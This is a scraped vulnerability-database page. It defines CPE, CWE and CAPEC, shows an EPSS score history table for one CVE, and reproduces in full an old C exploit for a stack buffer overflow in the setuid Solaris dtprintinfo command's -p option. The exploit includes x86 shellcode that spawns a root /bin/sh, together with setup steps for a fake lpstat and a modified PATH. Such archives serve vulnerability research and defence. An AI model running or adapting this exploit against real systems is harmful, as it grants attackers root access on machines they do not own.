CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.96%
–
–
2022-03-13
–
–
1.96%
–
–
2022-04-03
–
–
1.96%
–
–
2022-07-31
–
–
1.96%
–
–
2023-02-26
–
–
1.96%
–
–
2023-03-12
–
–
–
0.05%
–
2024-02-04
–
–
–
0.05%
–
2024-02-11
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.41%
2025-03-30
–
–
–
–
0.41%
2025-04-06
–
–
–
–
0.41%
2025-04-15
–
–
–
–
0.41%
2025-04-15
–
–
–
–
0.41,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/249/info
The dtprintinfo is a setuid commands open the CDE Print Manager window. A stack based buffer overflow in the handling of the "-p" option allow the execution of arbitrary code as root.
This vulnerablity has been assigned Sun Bug# 4139394. The vulnerability is in the CDE 1.2 and CDE 1.3 subsystem of Solaris 2.6 and Solaris 7 respectibly.
Before executing the ex_dtprintinfo exploit set your DISPLAY environment variable correctly, and make a dummy lpstat command like:
% cat > lpstat
echo "system for lpprn: server.com"
^D
% chmod 755 lpstat
% setenv PATH .:$PATH
% gcc ex_dtprintinfo.c
% a.out
*/
/*========================================================================
ex_dtprintinfo.c Overflow Exploits( for Intel x86 Edition)
The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
Written by UNYUN (unewn4th@usa.net)
========================================================================
*/
static char x[1000];
#define ADJUST 0
#define STARTADR 621
#define BUFSIZE 900
#define NOP 0x90
unsigned long ret_adr;
int i;
char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{
__asm__(" movl %esp,%eax ");
}
main()
{
putenv("LANG=");
for (i=0;i<BUFSIZE;i++) x[i]=NOP;
for (i=0;i<strlen(exploit_code);i++)
x[STARTADR+i]=exploit_code[i];
ret_adr=get_sp() - 1292 + 148;
for (i = ADJUST; i < 400 ; i+=4){
x[i+0]=ret_adr & 0xff;
x[i+1]=(ret_adr >> 8 ) &0xff;
x[i+2]=(ret_adr >> 16 ) &0xff;
x[i+3]=(ret_adr >> 24 ) &0xff;
}
x[BUFSIZE]=0;
execl("/usr/dt/bin/dtprintinfo", "dtprintinfo",
"-p",x,(char *) 0);
}